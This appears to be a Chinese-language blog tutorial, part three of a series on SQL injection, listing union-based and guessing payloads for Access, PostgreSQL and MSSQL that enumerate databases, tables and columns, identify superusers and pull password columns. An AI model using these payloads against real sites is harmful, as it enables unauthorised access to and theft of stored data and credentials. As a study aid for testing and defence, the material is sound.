sql注入基础(三)

Access

Accesss数据库是独立存在的,没有默认表,无高权限注入点,只能靠暴力猜解进行注入,需要用字典去猜(burp、python脚本)
//暴力猜解属于低权限,只能获得数据,不能对其进行进行读写修改操作

数据库联合&偏移注入:

  • 1.利用order by判断字段数
    参考sql注入基础(一)
  • 2.判断数据库表名
    ?id=1 and exists (select * from 表名)
  • 3.判断admin表名下的列名
?id=1 and exists (select 列名 from 表名)
//找到前端代码然后看接口ID大概率是列名
  • 4.查询报显位
    ?id=1 union select 1,2,3,4 from admin
  • 5.查询列里面的数据
?id=1 union select 1,2,passwd,4 from admin
//或者可以直接用利用联合注入查询表名、列名

联合注入方法二:

  • 1.利用order by判断字段数
  • 2.判断数据库表名
    #?id=1 union select 1,2,3,4 from admin
  • 3.查询报显位
  • 4.在显位下判断列名
    ?id=1 union select 1,2,passwd,4 from admin

access偏移注入

参考文章:https://blog.csdn.net/m0_56069948/article/details/122532425


PostgreSQL-高权限注入:

(1)利用order by测字段数

(2)测显位

and 1=2 union select null,null,'null',null
//union select后面要用null做参数

(3)在显位下获取信息

and 1=2 UNION SELECT null,version(),null,null		//数据库版本
and 1=2 UNION SELECT null,current_user,null,null	//当前用户名
and 1=2 UNION SELECT null,current_schema(),null,null	//数据库用户权限
and 1=2 union select null,current_database(),null,null  //当前数据库名
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE	//获取DBA用户的名称

(4)获取的所有数据库:

and 1=2 union select null,string_agg(datname,','),null,null from pg_database
//string_agg(datname,',')	获取的所有数据库名以,分割

(5)获取指定数据库下的表名:

and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='库名'
and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

(6)获取指定表名下列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='表名'

(5)获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from 库名.表名


MSSQL(sql sever)-高权限注入:
(1)利用order by测字段数

(2)测显位

and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
//这里用的是union all
//注意显位注入的参数类型

(3)在显位下获取信息

@@version 						//获取版本信息
db_name() 						//当前数据库名字
user、system_user,current_user,user_name 		//获取当前用户名(支持哪个函数就用哪个)
@@SERVERNAME 						//获取服务器主机信息

-获取表名:

and 1=2  union all select null,(select top 1 name from mozhe_db_v2(当前数据库名字).dbo(当前用户).sysobjects where xtype='u'),null,null
and 1=2  union all select null,(select top 1 name from master..sysdatabases where dbid>4),null,null
//第一个表名
//top 1子句含义为查询结果只显示首条记录
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage'))(第一个表名),null,null
//查第二个表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),null,null
and 1=2 union all select null,(select top 1 name from sysobjects where xtype='u' and name !='manage' and name !='announcement'),null,null
//查第三个表名
posted @ 2022-12-28 22:18  bcxc9405  阅读(33)  评论(0编辑  收藏  举报
/*
*/